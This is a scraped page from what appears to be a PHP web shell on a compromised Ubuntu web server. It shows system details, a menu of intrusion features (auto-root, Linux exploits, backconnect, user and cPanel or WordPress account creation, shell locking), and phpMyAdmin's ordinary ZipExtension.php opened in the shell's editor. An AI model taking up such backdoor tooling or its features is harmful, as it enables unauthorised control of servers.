Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
phpmyadmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
Advisor.php
12.22
KB
-rw-r--r--
Bookmark.php
10.69
KB
-rw-r--r--
BrowseForeigners.php
10.82
KB
-rw-r--r--
Charsets.php
7.1
KB
-rw-r--r--
CheckUserPrivileges.php
11.94
KB
-rw-r--r--
Config.php
45.37
KB
-rw-r--r--
Console.php
3.38
KB
-rw-r--r--
Core.php
42.33
KB
-rw-r--r--
CreateAddField.php
17.57
KB
-rw-r--r--
DatabaseInterface.php
75
KB
-rw-r--r--
DbTableExists.php
3.21
KB
-rw-r--r--
Encoding.php
8.51
KB
-rw-r--r--
Error.php
13.97
KB
-rw-r--r--
ErrorHandler.php
17.15
KB
-rw-r--r--
ErrorReport.php
9.14
KB
-rw-r--r--
Export.php
46.24
KB
-rw-r--r--
File.php
21.28
KB
-rw-r--r--
FileListing.php
2.85
KB
-rw-r--r--
Font.php
5.58
KB
-rw-r--r--
Footer.php
10.54
KB
-rw-r--r--
Git.php
17.95
KB
-rw-r--r--
Header.php
21.45
KB
-rw-r--r--
Import.php
57.46
KB
-rw-r--r--
Index.php
15.07
KB
-rw-r--r--
IndexColumn.php
4.23
KB
-rw-r--r--
InsertEdit.php
130.18
KB
-rw-r--r--
InternalRelations.php
17.31
KB
-rw-r--r--
IpAllowDeny.php
9.76
KB
-rw-r--r--
Language.php
4.46
KB
-rw-r--r--
LanguageManager.php
23.96
KB
-rw-r--r--
Linter.php
5.25
KB
-rw-r--r--
ListAbstract.php
1.77
KB
-rw-r--r--
ListDatabase.php
4.3
KB
-rw-r--r--
Logging.php
2.72
KB
-rw-r--r--
Menu.php
21.3
KB
-rw-r--r--
Message.php
19.09
KB
-rw-r--r--
Mime.php
916
B
-rw-r--r--
Normalization.php
41.48
KB
-rw-r--r--
OpenDocument.php
8.42
KB
-rw-r--r--
Operations.php
37.84
KB
-rw-r--r--
OutputBuffering.php
3.98
KB
-rw-r--r--
ParseAnalyze.php
2.37
KB
-rw-r--r--
Partition.php
7.17
KB
-rw-r--r--
Pdf.php
4.34
KB
-rw-r--r--
Plugins.php
25.18
KB
-rw-r--r--
Profiling.php
2.26
KB
-rw-r--r--
RecentFavoriteTable.php
12.01
KB
-rw-r--r--
Relation.php
77.39
KB
-rw-r--r--
RelationCleanup.php
14.7
KB
-rw-r--r--
Replication.php
4.73
KB
-rw-r--r--
ReplicationGui.php
21.52
KB
-rw-r--r--
ReplicationInfo.php
4.83
KB
-rw-r--r--
Response.php
16.47
KB
-rw-r--r--
Routing.php
5.71
KB
-rw-r--r--
Sanitize.php
12.13
KB
-rw-r--r--
SavedSearches.php
11.93
KB
-rw-r--r--
Scripts.php
3.64
KB
-rw-r--r--
Session.php
8.01
KB
-rw-r--r--
Sql.php
66.67
KB
-rw-r--r--
SqlQueryForm.php
7.12
KB
-rw-r--r--
StorageEngine.php
12.53
KB
-rw-r--r--
SubPartition.php
3.32
KB
-rw-r--r--
SystemDatabase.php
3.66
KB
-rw-r--r--
Table.php
95.67
KB
-rw-r--r--
TablePartitionDefinition.php
6.51
KB
-rw-r--r--
Template.php
3.87
KB
-rw-r--r--
Theme.php
8.76
KB
-rw-r--r--
ThemeManager.php
9.58
KB
-rw-r--r--
Tracker.php
29.78
KB
-rw-r--r--
Tracking.php
37.25
KB
-rw-r--r--
Transformations.php
16.29
KB
-rw-r--r--
TwoFactor.php
6.8
KB
-rw-r--r--
Types.php
25.2
KB
-rw-r--r--
Url.php
8.76
KB
-rw-r--r--
UserPassword.php
7.11
KB
-rw-r--r--
UserPreferences.php
8.45
KB
-rw-r--r--
Util.php
102.31
KB
-rw-r--r--
Version.php
533
B
-rw-r--r--
VersionInformation.php
7.15
KB
-rw-r--r--
ZipExtension.php
10.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ZipExtension.php
<?php /** * Interface for the zip extension */ declare(strict_types=1); namespace PhpMyAdmin; use ZipArchive; use function array_combine; use function count; use function crc32; use function getdate; use function gzcompress; use function implode; use function is_array; use function is_string; use function pack; use function preg_match; use function sprintf; use function str_replace; use function strcmp; use function strlen; use function strpos; use function substr; /** * Transformations class */ class ZipExtension { /** @var ZipArchive|null */ private $zip; public function __construct(?ZipArchive $zip = null) { $this->zip = $zip; } /** * Gets zip file contents * * @param string $file path to zip file * @param string $specific_entry regular expression to match a file * * @return array ($error_message, $file_data); $error_message * is empty if no error */ public function getContents($file, $specific_entry = null) { /** * This function is used to "import" a SQL file which has been exported earlier * That means that this function works on the assumption that the zip file contains only a single SQL file * It might also be an ODS file, look below */ if ($this->zip === null) { return [ 'error' => sprintf(__('The %s extension is missing. Please check your PHP configuration.'), 'zip'), 'data' => '', ]; } $error_message = ''; $file_data = ''; $res = $this->zip->open($file); if ($res !== true) { $error_message = __('Error in ZIP archive:') . ' ' . $this->zip->getStatusString(); $this->zip->close(); return [ 'error' => $error_message, 'data' => $file_data, ]; } if ($this->zip->numFiles === 0) { $error_message = __('No files found inside ZIP archive!'); $this->zip->close(); return [ 'error' => $error_message, 'data' => $file_data, ]; } /* Is the the zip really an ODS file? */ $ods_mime = 'application/vnd.oasis.opendocument.spreadsheet'; $first_zip_entry = $this->zip->getFromIndex(0); if (! strcmp($ods_mime, (string) $first_zip_entry)) { $specific_entry = '/^content\.xml$/'; } if (! isset($specific_entry)) { $file_data = $first_zip_entry; $this->zip->close(); return [ 'error' => $error_message, 'data' => $file_data, ]; } /* Return the correct contents, not just the first entry */ for ($i = 0; $i < $this->zip->numFiles; $i++) { if (preg_match($specific_entry, (string) $this->zip->getNameIndex($i))) { $file_data = $this->zip->getFromIndex($i); break; } } /* Couldn't find any files that matched $specific_entry */ if (empty($file_data)) { $error_message = __('Error in ZIP archive:') . ' Could not find "' . $specific_entry . '"'; } $this->zip->close(); return [ 'error' => $error_message, 'data' => $file_data, ]; } /** * Returns the filename of the first file that matches the given $file_regexp. * * @param string $file path to zip file * @param string $regex regular expression for the file name to match * * @return string|false the file name of the first file that matches the given regular expression */ public function findFile($file, $regex) { if ($this->zip === null) { return false; } $res = $this->zip->open($file); if ($res === true) { for ($i = 0; $i < $this->zip->numFiles; $i++) { if (preg_match($regex, (string) $this->zip->getNameIndex($i))) { $filename = $this->zip->getNameIndex($i); $this->zip->close(); return $filename; } } } return false; } /** * Returns the number of files in the zip archive. * * @param string $file path to zip file * * @return int the number of files in the zip archive or 0, either if there weren't any files or an error occurred. */ public function getNumberOfFiles($file) { if ($this->zip === null) { return 0; } $num = 0; $res = $this->zip->open($file); if ($res === true) { $num = $this->zip->numFiles; } return $num; } /** * Extracts the content of $entry. * * @param string $file path to zip file * @param string $entry file in the archive that should be extracted * * @return string|bool data on success, false otherwise */ public function extract($file, $entry) { if ($this->zip === null) { return false; } if ($this->zip->open($file) === true) { $result = $this->zip->getFromName($entry); $this->zip->close(); return $result; } return false; } /** * Creates a zip file. * If $data is an array and $name is a string, the filenames will be indexed. * The function will return false if $data is a string but $name is an array * or if $data is an array and $name is an array, but they don't have the * same amount of elements. * * @param array|string $data contents of the file/files * @param array|string $name name of the file/files in the archive * @param int $time the current timestamp * * @return string|bool the ZIP file contents, or false if there was an error. */ public function createFile($data, $name, $time = 0) { $datasec = []; // Array to store compressed data $ctrl_dir = []; // Central directory $old_offset = 0; // Last offset position $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; // End of central directory record if (is_string($data) && is_string($name)) { $data = [$name => $data]; } elseif (is_array($data) && is_string($name)) { $ext_pos = (int) strpos($name, '.'); $extension = substr($name, $ext_pos); $newData = []; foreach ($data as $key => $value) { $newName = str_replace( $extension, '_' . $key . $extension, $name ); $newData[$newName] = $value; } $data = $newData; } elseif (is_array($data) && is_array($name) && count($data) === count($name)) { $data = array_combine($name, $data); } else { return false; } foreach ($data as $table => $dump) { $temp_name = str_replace('\\', '/', $table); /* Get Local Time */ $timearray = getdate(); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } $time = $timearray['year'] - 1980 << 25 | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); $hexdtime = pack('V', $time); $unc_len = strlen($dump); $crc = crc32($dump); $zdata = (string) gzcompress($dump); $zdata = substr((string) substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug $c_len = strlen($zdata); $fr = "\x50\x4b\x03\x04" . "\x14\x00" // ver needed to extract . "\x00\x00" // gen purpose bit flag . "\x08\x00" // compression method . $hexdtime // last mod time and date // "local file header" segment . pack('V', $crc) // crc32 . pack('V', $c_len) // compressed filesize . pack('V', $unc_len) // uncompressed filesize . pack('v', strlen($temp_name)) // length of filename . pack('v', 0) // extra field length . $temp_name // "file data" segment . $zdata; $datasec[] = $fr; // now add to central directory record $cdrec = "\x50\x4b\x01\x02" . "\x00\x00" // version made by . "\x14\x00" // version needed to extract . "\x00\x00" // gen purpose bit flag . "\x08\x00" // compression method . $hexdtime // last mod time & date . pack('V', $crc) // crc32 . pack('V', $c_len) // compressed filesize . pack('V', $unc_len) // uncompressed filesize . pack('v', strlen($temp_name)) // length of filename . pack('v', 0) // extra field length . pack('v', 0) // file comment length . pack('v', 0) // disk number start . pack('v', 0) // internal file attributes . pack('V', 32) // external file attributes // - 'archive' bit set . pack('V', $old_offset) // relative offset of local header . $temp_name; // filename $old_offset += strlen($fr); // optional extra field, file comment goes here // save to central directory $ctrl_dir[] = $cdrec; } /* Build string to return */ $temp_ctrldir = implode('', $ctrl_dir); $header = $temp_ctrldir . $eof_ctrl_dir . pack('v', count($ctrl_dir)) . //total #of entries "on this disk" pack('v', count($ctrl_dir)) . //total #of entries overall pack('V', strlen($temp_ctrldir)) . //size of central dir pack('V', $old_offset) . //offset to start of central dir "\x00\x00"; //.zip file comment length $data = implode('', $datasec); return $data . $header; } }
Close